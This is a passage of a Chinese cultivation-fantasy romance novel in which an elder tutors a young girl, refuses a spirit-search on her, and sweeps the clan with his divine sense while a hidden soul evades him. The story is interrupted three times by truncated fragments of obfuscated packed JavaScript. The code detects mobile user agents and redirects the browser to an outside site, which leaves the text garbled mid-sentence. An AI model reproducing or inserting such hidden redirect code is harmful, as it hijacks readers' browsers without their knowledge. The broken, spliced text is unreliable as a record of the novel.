少女摸了摸头上的发带,又摸了摸那两颗天珠,仰头看着他,脸上露出一丝浅浅的真切的笑意。 “咳、咳、咳。” 门口忽然传来几声刻意的咳嗽,打破了静谧和温柔。 两人一同抬眼看去,见曲清波负手站在院门正中,一脸“简直没眼看”的表情睇着他们。 他穿着厚氅,伤还未好透,脸色发青。 迈步走进来,目光先在少女身上审视一圈,眉头便是一紧。 好嘛,昨日是一身楚楚可怜的旧衣,今日这一身倒鲜亮得跟朵花似的,存的什么心思简直昭然若揭。 他又看向曲存真,十分没好气地道,“哦,忙完啦?” 曲存真一副懒得搭理他的样子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500386|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你来做什么?不想早死,就该好好在屋中修养,而不是到处乱跑。” 少女垂下眼,眼观鼻鼻观心,万万没想到五长老与家主私下相处是这样的。 “修养?我哪有那个命唷?”曲清波哼了一声,“藏舟,忙完她的事,该忙要紧的正事了。你来,我有要紧事找你说。” 说罢,撇下人抬脚便往书房的方向走。 曲存真叫住他。 “她先来你后到,你——去花厅等。” 曲清波眼眉一挑,满脸不可置信,却见曲存真转向少女,慢声道:“你随我来。” 曲清波脸色登时比猪肝还难看。 他这又是哪句话惹这祖宗不高兴了? 连书房都不让进,这世上可还有比他更大逆不道的外甥?可还有比他更憋屈、更逆来顺受的家主? 少女顺从地跟上,低头忍住嘴角的笑意。 曲存真领着她穿过回廊,走到尽头推开一扇门。 走进去,里面是一间阔大的屋子,布置得极为清雅。 正中央摆两个蒲团,蒲团前的矮几上放一炉香,细烟袅袅。 墙上挂整篇他自己写的《道德经》,密密麻麻的蝇头小楷,字字端严,清劲沉雅。 四周靠墙立着十数排书架,架上摆满经卷,看得人眼花缭乱。 少女的目光从其上扫过,心跳加快。 曲存真站在书架前,抬手取了几册书,放在矮几上,最面上一册是《筑基录》。 “既然你急着修炼,我们就不浪费时间了。”他转过身看着她,“只是,工欲善其事,必先利其器。在正式开始之前,还是得先做一些准备才好。” 他指了指矮几上那几册书。 “这几册是我为你挑的,都是筑基前必须掌握的内容,这几日,你先熟记于心。” 少女点点头,好奇的目光总忍不住往书架上飘。 曲存真看着她那点藏不住的小心思,也不点破。 “除了这些,你也可以自己去挑几本感兴趣的。以后我这里下了课,你无事的时候,也可以过来,在这里看书、练手,做什么都行,随意就好。” 少女猛地睁大一双眼,明亮得像是藏了几颗星。 她可以随意翻看这些珍贵的典籍? 他的目光捕捉到她的星星,心底隐隐地愉悦着。 唇角不自觉牵起,转身往外走,“我去应付应付家主,很快就回来,等我回来我们便开始。” “嗯!” 曲存真来到花厅时,曲清波已自顾自坐了上首的位置。 身旁茶几上摆了一副茶盏,盏中茶水被喝得见底,见曲存真进来,没好气地哼了声。 曲存真随便在下首挑了把椅子坐下,接过仆从奉上的茶盏。 “说吧,什么要紧事。” 曲清波刚开了个头,“那丫头——” 曲存真将茶盏往几面一撂,“你走。” 曲清波:“……” 能不能听他把话说完? “我是想说,那丫头不对劲,昨日我罚她——” 曲存真冷冷一眼乜来。 “没罚上,没罚上……” 曲清波也不知道自己慌忙解释个什么劲。 “昨日我本来是要罚她的,正说到要封她修为,忽然一股山岳般的力量压下来,我连动都动不了。” 回忆起当时的感受,他脸色微变。 “至少元婴的修为,好像在哪里遇到过,不过反正肯定不是我曲家的元婴,我当时汗毛都竖起来了。” 曲存真的食指在茶几上有一搭没一搭地点着。 “藏舟,我听说你前日在景明堂动手了?能逼出守拙剑,对方应当也不是什么凡物吧?当时,那丫头可也是在场的,你敢说,这两件事之间,没有关联?” 他往前倾了倾身子。 “若真有居心叵测之人能悄无声息潜入曲家,结界对此却毫无反应,那便不是她一个人的事了,曲家危矣!藏舟,我知道你不愿意听我说那丫头半个不字,不论你信或是不信,这事你得上心——” 曲存真在茶几上敲了最后一下,“结界该换了。” “结界确实也要换,不过,这跟那丫头的事是两码事。”曲清波顿了顿,“那丫头的灵府,恐怕也需要探查一番,看看是不是有什么……猫腻。” 13. 相授 曲清波说完,正欲再开口,一个仆从上前来为两人添茶,他只好把到嘴边的话咽回去,端起茶盏抿一口,余光不住地往曲存真那边瞟。 曲存真托着茶盏,指尖一圈又一圈摩挲杯沿,连眼皮都没抬一下。 仆从添完茶退出去,花厅又只剩下他二人。 曲清波等了片刻,见他仍没有开口的意思,到底没忍住。 “藏舟,要查清她身上的疑点,只有一个法子——搜神。” 曲存真停下动作,指尖抵在杯沿。 “家主知道自己在说什么?” 曲清波当然知道。 搜神是修仙界的一种审讯手段,以神识强行侵入修士灵府,窥探记忆。 灵府是何等隐秘的地方,便是夫妻也不一定敢彼此敞开。 被搜神本身就是受辱。 何况,修士被搜神之后,轻则灵府受损,重则心智错乱。若是筑基未成的修士,甚至可能魂飞魄散。 “我这不是来和你商量么?” 曲存真微微侧头,眼皮半掀,斜睨他一眼。 “曲家族规第七条,未审定罪、未列罪籍的族中晚辈,禁用搜神之刑。你身为家主,带头破规?” 曲清波摆摆手,往前凑了凑。 “规矩再大还能大得过曲家的安危?曲家养她十年,这点牺牲做不得?” “养她?” 曲存真嗤笑一声。 “家主要这么算的话,这十年,她的衣食住行、修炼进学哪一样不是从我私账上出的?要说养,也是我养她,同曲家没有半分关系。她的牺牲,轮不到曲家来要,更轮不到你这个家主用曲家的名义强求。” 曲清波被堵得语塞,他当然知道,素遂心这些年的吃穿用度,全是曲存真一手包揽。 无话可说,只能换个说辞。 “无非是耗点灵力罢了,若她清白,我代表曲家向她赔罪,她想要什么只管开口便是,不会让她吃多少亏。若是……真有什么不可告人,你我此刻心软,便是日后把曲家往火坑里推。” 曲存真放下茶盏,杯底与几面相撞,发出清脆的一声。 “她才十七,灵根本就受损,连筑基都未成,灵府脆弱得不堪一击。搜神对她而言不是耗些灵力,是要毁她修行,毁她一辈子。” 他抬眼看向曲清波,目光里含几分失望。 “搜神是对付宵小、奸细的法子,她是我的人,你要对她搜神,是把我的脸面踩在脚底,让整个修真界笑话曲家,用如此卑劣的手段,对待一个手无缚鸡之力的晚辈?” “藏舟我不是这个意思!” 曲清波急了,手撑着茶几猛地站起来。 “我是家主,要对曲家几千口人负责!闲远宗虎视眈眈,静霄子也快要出关,他出关便是半步化神,我不能冒半点险!我知道你护着她,可你不能不分轻重。曲家安危,终究比她一人清白重要。” 曲存真看着他,忽然笑了。 “好一个曲家安危比她一人清白重要。” 他站起身,大袖拂过几面,带得茶盏晃了晃,最终“哐当”一声摔落在地,碎瓷飞溅。 他往前走了两步,站定,低头看着曲清波。 “我竟然好像无法反驳。” 曲清波一愣,没想到他会这么说,赶紧道:“她是你的人,就由你亲自动手好了,算不上侵犯,自然不会伤她,也不委屈她。” “我不去,你找别人,或者你自己去。” “什么?” 曲存真看着曲清波,“谁有胆子搜她灵府,谁去。” 曲清波脸色一变,“你什么意思?” “意思就是,搜之前你最好叫那人知道,他要搜的人,是我未过门且即将过门的妻子。若是有人胆敢伤她或叫她难堪——”他话音骤然一收,“我会不高兴。” 说完,他抖了抖衣袖,将袖口沾上的几片茶叶抖落,转身便走。 “你站住!” 曲清波气得浑身发抖,指着他的背影。 “你这是什么态度?你不要忘了,你是曲家的长老——” 曲存真停下脚步,没有回头。 “怎么会忘。我不会置曲家安危于不顾,今日晚些时候便重新布设结界,加固防御。” “但搜神的事,想都不要想。” 说完,他大步跨出,几步便消失在廊外。 曲清波站在原地,盯着他消失的方向,半晌狠狠一甩袖子,跌坐回椅中,端起茶盏灌了一大口。 水已经变凉,凉得他牙根发酸。 素遂心悄悄收回神识,缩回少女的灵府。 明明人不在面前还如此惺惺作态,演上瘾了是吧。 ~ 曲存真推门进来的时候,少女正盘膝坐在蒲团上,手里捧着《筑基录》,已经翻到很后面了。 她看得太过入神,连他推门的细微声响都未察觉。 曲存真靠在门边,静静看她低头翻书的模样。 她翻页的速度很快,目光在字里行间掠过,翻到某一页停下来,眉头微微皱起。 把那一页来回看了两遍,又往前翻了几页,对比着什么。 她微微侧头,发带上那两颗珠子轻轻碰在一起,发出一声悦耳的叮铃。 曲存真这才走过去,温声道:“哪里不懂?” 少女抬起头,看了他一眼,正要站起身,他却轻轻拍了一下她的肩膀,示意她坐回去,自己则在她身边跪坐下来,身形微微侧着。 少女把书翻回刚才那一页,指着其中一段。 “这里说,筑基之前要先疏通七条主脉,顺序是从下往上走。可之前在学堂上课时,夫子说要从上往下走。究竟谁说的对?” “都对。” 曲存真伸手,轻轻把书往自己这边拉了拉,修长指尖点在那段文字上,耐心讲解。 “主流功法主张从上往下,核心是求稳。先通上三脉,让灵气在头顶聚气扎根,有了根基再慢慢往下疏导,不易出错,适合大多数修士。” 说到此处,他的语气又柔了几分,“但我不这么修。” 少女愣了一下,抬眼看向他,眼底满是好奇。 她从未听过,有人会不按主流功法修炼。 曲存真迎上她的目光。 “从下往上走,是先通最容易淤堵的灵脉。下三脉通了,灵气从脚底上来,一路往上,走到哪里通到哪里。这样修,前期进度慢,且要耐得住性子,但后期灵气运转顺畅,根基会比旁人稳上数倍。大部分人没这个耐心,也耗不起这个时间。” 少女凝神,认真在心里消化他的话。 他拿起书,翻到另一页,指尖指着一行批注。 “从下往上走,是因为筑基不是堆修为,是通路。路通了,灵气自然水到渠成。若是一味追求速度,先通上三脉,修为看似上去了,下三脉却始终淤堵,将来突破时还要回头补,反而更费功夫。” 少女盯着那几行字,陷入思索。 她想起自己之前翻过的那些修炼典籍,每一本都在讲怎么快速筑基、怎么高效提升修为、怎么不费力气便能突破关窍。 从来没有人告诉过她,前期慢一点,反而更好。 这是个很新奇也很大胆的思路。 她下意识翻回封面,想看看这本书的作者是谁,此人真是有趣。 可上面什么都没写,只有一行小字,写得十分随意:初窥之见,留待后来者证之。 字迹清瘦,笔锋内敛却自有筋骨,看着竟然有些眼熟。 她又快速翻了几页,发现书页边角有很多类似的批注。 有的写得详尽,分析功法的利弊。有的只写寥寥数字,点出关键关窍。还有少数几处,写着“此法冒险,切勿轻试”。 字迹与封面上的小字 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她又偷偷抬起头看了曲存真一眼。 他微闭着眼,侧脸的线条被窗外的光勾勒,从眉骨到鼻梁,再到下颌,每一寸都流畅而清晰,却也透着一股冷峻。 周身那种惯常的、令人屏息的压迫感此刻收得干干净净。 他坐在她旁边,就像一个寻常、好看的年轻人。 可他一点都不寻常。 “走一遍试试。” 曲存真忽然抬眼,满面冷峻随着抬眼的动作散去。 他此刻又是柔和的。 少女把书放下,闭上眼,依他所说凝神聚气,一点一点慢慢疏导。 速度比她平时修炼慢了太多,走到一半时,灵气忽然卡住,像是有什么东西堵在灵脉里。 她没有像往常一样硬推,而是按照曲存真说的,让灵气慢慢停留,一点点渗透。 曲存真没有说话,只静静看着她。 指尖凝聚起一丝灵力,轻轻悬在她的下三脉上方,若她灵气淤堵彻底,便出手引导,却不过多干预。 他要让她自己找到诀窍。 过了约莫两个时辰,那团堵住的灵气忽然松动了一下,顺着灵脉的缝隙,缓缓往前挪动一点。 很慢,但的确在往前。 她睁开眼,额角渗出密密的汗,眼底满是难以置信的欣喜。 曲存真看着她,唇角轻轻向上牵。 “有效果了?” 她用力点头,两颗天珠欢快地跳跃着。 一扇推了很久都推不开的门,终于被她推开了一条缝。 之前,她找过很多夫子请教,没有一个人能让淤堵的灵脉动一下。 她自己也试过无数次,灵气走到这里就散,久而久之,她几乎以为这辈子筑基无望。 她深吸一口气,又吸一口气,把那股激动压下去。 只是一点点,还早,还不能高兴太早。 可她还是忍不住抬起头,看了曲存真一眼。 他眼里的赞许让她有一些小小的雀跃。 曲存真收回悬在半空的手,对上她的眼睛。 “我们明日再来,循序渐进,急躁不得。” “嗯。” 少女低头,小声地应道。 其实还想继续。 家主有句话说得没错,这是她天大的造化。 这样的修炼机会实在难得,万一他哪天机缘来了又要闭关,那便至少又是几年的时间见不到他。 曲家所有人都说,曲存真天资非凡,是曲家千年来的第一人。 她从前对此没什么概念,可今日此刻,她忽然有了些模糊的认识。 曲存真,他的确名副其实。 14. 交锋 素遂心看着这一幕,心中的感觉一时很难形容。 她早已不记得,原来他们从前也曾有过这样的时光。 曲存真站起身,“上午的修炼就到此为止,你该去景明堂了。” 少女闻言,无声地叹了口气,她更愿留在这儿看书…… 曲存真低头看她头顶那颗蓬蓬圆圆的髻。 “去吧,”他语气不重,却也没有商量的余地,“下午的课不能不去。” “哦。” 少女慢吞吞起身,慢吞吞挪向门口。 “等等。” 她立刻回头看他,眼底藏着一点小小的希冀。 曲存真淡淡道:“从书架上挑几册书带回去看吧。景明堂的课若是听不下去,看自己的书便是,不必浪费光阴。” 少女一怔,忽然有一种遇见知音的感觉。 景明堂上课可不就是浪费光阴么…… 她低下头,想压住上扬的嘴角,却没压住眼底倏然亮起的光。旋即转身走向书架,两颗天珠跟着轻轻一荡,划出两道亮亮的弧。 曲存真的目光安静落在她身上。 少女仰着脖子,视线在一排排书册上掠过。 素遂心想起此处有一本好书,于是抬起手,指尖凝出一缕灵力,悄无声息地散出去。 下一刻,少女手指忽然一顿,像是被人轻轻牵住了腕子,停在书架第三层靠左的位置。 那里夹着一本薄册,被两本厚书掩在中间,非常不起眼。 她低头看了看自己的手,有些茫然。 本不是想找这本,走到此处却莫名觉得,就想要它。 说不清为什么。 她踮脚抽出那本书,封面上写着“结阵辑录”四个字,随手翻了几页,聚灵、迷踪、缚阵……各式阵法罗列其间。 曲存真走到她身后,“喜欢阵法?” 她合上书,有些不好意思。 阵法一道,是她这般身份的弟子此前接触不到也不敢妄想的学问。 “只是……有些好奇。” “这本尚可。喜欢的话带去看吧。” 少女抬起眼,眸中闪过一丝光亮,又迟疑一下。 “可是……在景明堂的课上,真的可以看这个么?” “我说可以便可以。” 他语气平常,却奇异地让人安心。 “……好。” 她把书小心抱在怀里,低声应了一句,认真向他行了个礼,转身离开玉垒云。 窗外天光正好,少女抱着书走在老梅中间的石路上,发带上的两颗珠子随脚步轻晃,撞出轻快的声响。 ~ 从玉垒云出来,少女先去了膳堂。 早上那点吃食精致有余、饱腹不足,此刻早已饥肠辘辘。 此时膳堂中已有不少人,多是刚下课的弟子。 她拣了份饭菜,寻了个角落坐下。 一碗米饭,一碟红烧肉,一盘清炒时蔬配一碗蛋花汤。肉炖得软烂油润,酱色浓郁,拌在饭里香气扑鼻。 她吃得快,不多时便将饭菜都吃干净了,汤也喝完,身上才渐渐回了气力。 放下碗筷的时候,她抬手摸了摸发带。 两颗天珠贴着指尖,微微温热,一直在养着她的灵根呢。 上午修炼引气,灵气卡在膻中处缓缓松动的刹那,她分明感觉到,天珠中的灵力顺着发丝渗下,轻轻托了她一把。 她收回手,起身往景明堂去。 今日是全族未筑基弟子的大课,讲堂宽敞,可容纳五六十人。 她到时,讲堂内已坐了大半的人,年轻弟子三三两两低声说笑。 她扫了一眼,径直走向靠墙的角落。 前排有人回头瞥了她一眼便转回头去,无人与她招呼,她也无意与人攀谈。 她将《结阵辑录》放在桌角,再摆好课业用书,静静等候。 不多时,门口一阵骚动,几个弟子簇拥着两个人进来。 曲澜一身鹅黄衫裙,双螺发髻各绑了一圈珠花,明艳夺目,走在最前。曲澈跟在身侧,与旁人谈笑。 两人一出现,满堂目光尽数聚了过去。 “澜师姐,这边!” “澈师兄,我给你占了座!” 曲澜微微颔首,嘴角噙着一点矜持的笑意,从人群中穿过,在最前排的中间位置坐下。 曲澈在她旁边落座,立刻便有弟子围上前来,讨教功课、搭话。 少女坐在角落,垂眸静静翻书。 夫子还没来。 讲堂里的声音渐渐大起来,谈课业、约校场比试的声音此起彼伏,还有几个人围在曲澜曲澈身边,不知在说什么,偶尔爆出一阵笑声。 她又翻过一页。 这一页上画着一幅阵图,标题写着“缚阵”二字,目光扫过旁侧批注时,她忽然顿住。 一行清瘦内敛的小字,依然是曲存真的字迹:此阵可困元婴,有奇效。 元婴对她来说还太遥远,少女只静看片刻,便翻页继续往下看,目光停在一个简单的低级阵法上。 喧闹声里,不知谁起了头,聊起前几日景明堂外的守拙剑光。 “你们是没瞧见,咱们五长老那一剑,直接削平了整棵雪松树冠!剑气冲得老远,我站在边上都觉得刺脸呢!” “那是自然,他是咱们曲家修为最高的尊长,整个修真界都排得上号。” “什么叫排得上号,明明是修真界站在巅峰的几人之一。” “他刚闭关五年出来,如今境界得有多高?” “元婴后期。”曲澜的声音悠悠传来,带着几分笃定与骄傲,“五年前闭关便已至此,这次出关,境界已经稳了。” “那岂不是马上就要触碰到半步化神了?当今修真界可还无一人踏足此境啊!” “就是就是,闲远宗的静霄子,说冲击半步化神都说了多少年了。” “当然。”曲澜微微扬起下巴,“藏舟哥哥是少年天才,静霄子怎么跟他比?半步化神之境,不过早晚的事。” “藏舟”二字落入少女耳朵里,翻书的手指微微一顿。 她从前只知道他名唤“存真”,原来他字“藏舟”。 旁人立刻凑趣:“澜师姐是五长老的表妹,日后修炼自然有五长老照拂,哪用发愁。” 曲澜只抿唇一笑,并未答话。 一旁的曲澈翻了个白眼,少年意气藏都藏不住:“我还是他表弟呢。” “一样,一样,”那人赶紧找补,“澈师兄自然是一样的。” 曲澈哼了一声,语气里带着几分张扬:“姑母早逝,藏舟哥哥如今只剩我爹一位至亲,自小待我们就与旁人不同。” 少女的手指轻轻按在书页上,停住不动。 藏舟,她在心底默念一遍这两个字,只觉陌生,又莫名觉得,这二字与那人清冷自持的模样,竟分外相衬。 夫子推门而入。 是位面容严肃的中年修士,颌下蓄着短须,往讲台中央一站,周身淡淡的威压散开,满堂喧闹瞬间便息止。 他目光扫过全场,既未翻书,也没有要讲课的意思。 “今日课业暂止。所有人听令,就地打坐,凝神守府,不得妄动。” 讲堂静了一瞬,随即又泛起细碎的人语声。 “怎么了这是?” “出什么事了?” 夫子抬手压了压:“安静。五长老将联同诸位长老,以神识遍搜白波九道,排查外邪潜伏,为重布结界做准备。尔等只需静坐配合,无须惊慌。” “神识搜山?”前排弟子低低抽气,“那岂不是要把整个白波九道翻一遍……” “定然是景明堂闯入者还未寻到,五长老要亲自出手了。” “亲自出手”四个字让讲堂里的气氛微妙地变了。 有人面露崇敬,有人紧张屏息,几个年纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500388|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚小的弟子更是脸色发白,面露怯意。 “神识扫荡这般霸道,会不会误伤我们?” “五长老神识冠绝修真界,前几年元婴老怪……元婴们神识论道,还没有人能赢过他。此番再加上数位长老联手……” “慌什么。” 曲澜微微侧过身,目光淡淡扫过畏缩的弟子。 “藏舟哥哥的神识,只护族人,辨敌友。宵小之辈自会被神识震慑碾碎,自家弟子,不过是会感到春风拂过,伤不了分毫。” 曲澈也道:“就是。藏舟哥哥难道还会为难自家人?动动脑子吧你们。” 几名弟子讪讪收声,讲堂里的不安散了大半,众人纷纷闭目凝神,只剩零星几声低语。 曲澜收回目光,坐直身子,唇角噙着浅浅的骄傲,眼底是对表哥十足的崇拜与依仗。 少女坐在角落,静静听着周遭议论,把书合上,放在桌下,也闭目凝神收敛气息。 素遂心睁开眼。 神识扫荡?曲存真是在找她? 倒是个出其不意的法子。他这个办法想得不错,若她要找东西,也会这么干。 白波九道地域广袤,这般无死角扫荡,需得恐怖的神识覆盖力。只是,此番过后,没有一个月他休想恢复。 她的机会是不是就来了? 为了曲家,他可真是鞠躬尽瘁。 一名元婴后期,再搭配数位元婴长老,寻常修士根本扛不住这般冲刷。 她的肉身藏在曲家祖祠的钟里,有禁制层层遮蔽,曲存真的神识绝无可能触及。 至于这具元婴分身…… 曲存真的神识到底强大到如何地步,她并未见识过,不知道能否遮掩得过去。 若是藏不住,那也只能藏不住了。 少女的呼吸渐趋平稳,讲堂彻底安静下来,唯有窗外雷鸟啾啾声清越。 素遂心也闭上眼睛。 整个白波九道,想必都已凝神屏息,等待那道神识碾过。 不过须臾,一股浩瀚无匹的神识自天际倾泻而下,无声无息覆压万里。 从主峰雪顶起,漫过松林、屋宇、庭院,所过之处,纤毫毕现,连石缝间的虫豸都无所遁形。 讲堂内鸦雀无声,弟子们端坐凝神,那铺天盖地的神识掠过身侧,果真如春风拂面,半分不适感都无。 少女闭着眼,呼吸匀净得像入睡一般。 素遂心却绷至极致,不敢有半分懈怠。 她不确定自己能否藏住,曲存真的神识,比她记忆中同境界时还要霸道几分。 她不敢大意,神识瞬间收缩成针尖大小,沉进灵府最隐蔽的死角。 曲存真的神识扫过讲堂,从少女身上掠过时,忽然微微一顿。 素遂心的心猛地提起来。 那神识在少女灵府外停驻一瞬,没有探入,却也没有离去。 素遂心将神识压到最低,几乎将自己化作一潭死水。 神识在少女灵府外徘徊片刻,终于还是没有推开那扇门,收了回去,继续往前排查。 素遂心未敢大意。 她太了解他的缜密心思,一次迟疑,从来不是结束。 果然,不过数息,那道神识再度折返。 它不入府门,只在门口细细游走,似在试探。 有一瞬,她几乎能感觉到那股灵压擦过她神识边缘。 她凝神不动,彻底化作死寂。 良久,那神识终于抽离,与其他神识汇合,如潮水般缓缓退去。 讲堂里的弟子们,这才敢轻轻吐气。 少女也睁开眼,丝毫不知方才自己身上的两道神识交锋。 素遂心依旧凝神止息,直到那股磅礴的灵压彻底消散在天际,才缓缓舒展神识。 百年之后,修真界化神不出,静霄子之下,她便是神识强大第二人。境界跌了,神识却不会跌。 终于,叫她赢了一次。 15. 字印 神识扫荡过后,夫子便开始授课。 这位夫子素来严厉,弟子们都收了心神,或认真、或装作认真地听讲。 一堂课未及半,外面忽然有人高声道:“长老们在布结界了!” 讲堂里瞬间坐不住了。 布结界是大阵仗,对他们这些尚未筑基的弟子而言,更是从未见过的大世面。 不知谁先喊了一声“去看看”,满堂弟子登时一哄而起,争先恐后涌向门外。 夫子望着瞬间空荡的讲堂,默默收了书册,也快步出去,仰头望向天际。 偌大讲堂,转眼便只剩少女一人。 外面惊叹声此起彼伏,灵光冲霄,灵力激荡声隔墙传来,震得桌椅微微轻颤。 她低下头,将《结阵辑录》翻到聚灵阵那一页,指尖轻轻比划。 聚灵阵是此书中最基础的阵法,阵图简洁,灵力走向也算明晰。 她学得专注,指尖凝出一缕灵力,试着顺着阵纹游走,才走半程便散了。 不急,重来。 外面又是一阵哗然。 这次声响更甚,隐约夹杂着弟子们的惊呼。 “是五长老!快看!” 她指尖微顿,灵力再次散掉。 重新凝起,这次勉强走了两笔才溃散。她抿着唇,指尖翻飞,速度渐渐加快。 阳光透过窗子,在书页上投下一格一格明明灭灭的光影。 走到第三笔,第四笔刚行一半,灵力又一次散了。 她深吸一口气,再试。这一回格外仔细,灵力稳稳循着阵图走完。 正要微松口气,指尖却轻轻一颤,阵光微晃,彻底散去。 她静静望着自己的手片刻,又把目光落回阵图。 外面惊呼声再起,比前两次更为热烈。 她下意识抬眼,望向窗外。 什么也看不见。 这扇窗朝向侧方,只露出一角灰白的天,与几枝雪松梢头。 灵光自远处冲天而起,将半边天际都映得透亮。 她收回目光,再试着比划,可灵力刚走到第二笔便散了。 心已静不下来…… 少女合上书,往怀里一塞,站起身快步走出讲堂。 她仰头看天。 几位长老凌空而立,结成阵势。 五人各守一方,凝成五角之形,将整个白波九道笼罩在下。 灵光自他们体内涌出,交织,一层叠一层,缓缓铺向天际。 曲存真立于阵眼的方位。 他周身灵光暴涨,天水双灵根之力倾泻而出,碧蓝与苍绿两道灵力缠绕升腾,如流云卷浪。 他抬手竖起二指,结一个手诀,翻转之间完成掌控。 仿佛天地运转,皆在他两指之间。 少女仰头望着,目光一瞬不瞬。 蓝绿天水灵光落在她的脸上,映得一双瞳仁都泛着蓝绿浅光。 忽然,一群雷鸟从雪松林间惊起,振翅直冲天际,一头撞向正在凝结的结界。 灵光与羽翼相撞的刹那,光晕层层荡开,蓝绿交织流转,铺成目眩神迷的半圆光幕,转瞬又随灵纹淡去。 少女呼吸一滞,眼睫轻轻颤了颤。 望着阵眼中那道矫矫不群的身影,心像被雷鸟的羽毛轻轻拨动一下。 曲澜站在人群最前,仰着头,双手不自觉攥在胸前。 漫天灵光映在她眼底,曲澈好像在跟她说话,“妹妹,藏舟哥哥的灵光可真好看!”她却只是怔怔地仰着头。 少女立在人群最后静静看了片刻,缓缓垂下眼,转身走回讲堂,在角落坐下,重新翻开《结阵辑录》。 外面的惊呼与赞叹仍在不断传来。 她低头,指尖顺着阵图轻轻比划,可才画过两笔便又顿住,下意识抬眼望向窗外。 窗外太素净,只有一角灰白天色与深黑松枝。 …… 结界布设完毕之后,所有弟子在演武场前列起长队,等待各位长老给自己刻入新的结界印。 曲清波负手立在演武场边,玄色大氅裹得严实。 由于伤势未愈,灵力尚未恢复,刻印施术之事还轮不上他,便只沿着场边缓缓踱步,权当巡视。 夕阳自雪山斜落,将演武场染作暖金,刻印的队伍蜿蜒至老松之下。 弟子们或低声交谈,或探头张望,还有一些年幼的弟子蹲在地上摆弄石子。 曲清波目光扫过他们,唇角不自觉泛起慈爱笑意。 几名弟子先瞥见他,连忙躬身行礼:“家主。” 他抬手示意不必多礼,行至一位圆脸少年身前,淡淡打量:“修为精进不少,灵力也比上月沉稳了。” 少年眼睛一亮,挠头笑道:“家主竟看出来了,我每日卯时便起身练功。” “不必这般苛责自己,”曲清波温声道,“修炼张弛有度,过犹不及,反倒容易误入歧途。” 旁侧弟子纷纷凑上前来,他逐一探过几人灵息,谁有精进、谁有浮动、谁偷了懒,一探便知。 被点破的弟子面露讪色,被旁人取笑,曲清波却轻拍对方肩头:“明日早些起身便是,我让人唤你。” 那弟子连声应下,羞赧之色更甚。 不多时,又有一名瘦高弟子捧着书本上前来,向他请教灵气滞塞的解法。 曲清波翻看书册,又看他当场运气,片刻便点明缘由。 “方法没错,只是过于贪快了。灵气过膻中,需顺其自走,不可强推,越急越是阻滞。” 语气平缓耐心,“再试几日,若仍没有效果,去找你们岑夫子,若岑夫子不得空,便来我院中寻我。” 弟子连连道谢。 曲清波又叮嘱数句,目光追着少年跑回队伍,才继续前行。 一路走走停停,问的皆是弟子们的琐碎日常。 修炼是否有进益?膳堂伙食可能入口?夜眠是否安稳?天寒衣被是否足够? 哎,简直操不完的心。 先前蹲在地上玩石子的小弟子见他走近,毫无惧色,仰着小脸唤他,还将石子递给他看。 曲清波俯身细看,笑着点评,逗得小弟子拍手欢笑。 直起身时,他望向演武场中央灵光未散之处,长老们仍在忙碌。 演武场中央,五位长老分坐两侧,各据一方,每人面前矮几上都搁着登记名册。 他们正忙着为排队弟子点画上新结界的通行印,刻完一人登记一人,队伍缓缓前移,井然有序。 曲存真在东侧,他这边是最里侧的一支队伍。 弟子挨个上前,伸手。 他并不抬眼,只等手腕递到近前才抬指虚点。 一缕清冽的灵光自他指尖沁出,没入弟子腕间皮肤,不疾不徐,不多时,一个金色的“曲”字便成了。 与家主的亲切和蔼不同,曲存真周身泛着清冷疏离的气息,与弟子们之间仿佛隔着一层无形的屏障。 弟子们在他面前,多有几分敬畏或仰慕的紧张,无人敢擅动或嬉笑,因而他这支队伍也是全场最为安静的。 再年幼淘气的弟子,也只睁大了眼,屏息望着。 他不看人,目光只落在腕间那寸皮肤与灵光交汇处。 有的弟子太过紧张,手腕微颤,他便停下,等颤动过去再继续。 抬手、点印、收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曲清波叹了口气,“这孩子啊,心思重,不轻易信人。能让他开口说几句真心话的,曲家上下也就只有你了。你俩打小一起长大,一起修炼,情分自然不一般。” 徐微月的目光从东侧的队伍收了回来。 曲清波看着她,她的心思曲存真或许不知,他却是一眼能看出。 “藏舟对那丫头的照看,说到底,是念着他母亲的情分。藏舟重诺,也孝顺。” “当年那丫头还未出生时,两家长辈随口一句戏言,当不得真。一百多年过去,素家早就没了,这桩事我反正是不认的。他不过是把那份旧日承诺放在心上,觉着全了他母亲和那丫头父亲的日旧情谊,这才多照拂了几分。” “那孩子于他,是责任,仅此而已。” 徐微月目光越过人群,落在远处,演武场队列的末尾,隐隐能看见一个鹅黄草青的身影。 曲清波看她这般沉得住气,心里越发觉得可惜。 “这些年他屡次闭关,将那丫头交予你照顾,本就是信得过你。你是不一样的,不然曲家上下这么多人,怎么他就不找别人,不找我?” 曲清波说完,意味深长地看她一眼便转身走了。 徐微月目送曲清波离开,目光再次落到那道鹅黄草青的身影上,脚步不觉朝她移动。 少女低着头,身前弟子将她挡得只剩一截乌黑发顶,手中捧着一本书,看得格外专注。 徐微月走近她。 少女感觉到有人靠近,懵懵抬起头。 夕阳落在她脸上,晃得她微微眯了眼。 她看清是徐微月,眼眸倏地亮了起来。 “微月姐姐!” 她几乎是立刻合上了手里的书,唇角抿出一个十分欢喜的弧度,一只手还捏着书页边缘,另一只手已抬起,下意识就想去牵住徐微月的手。 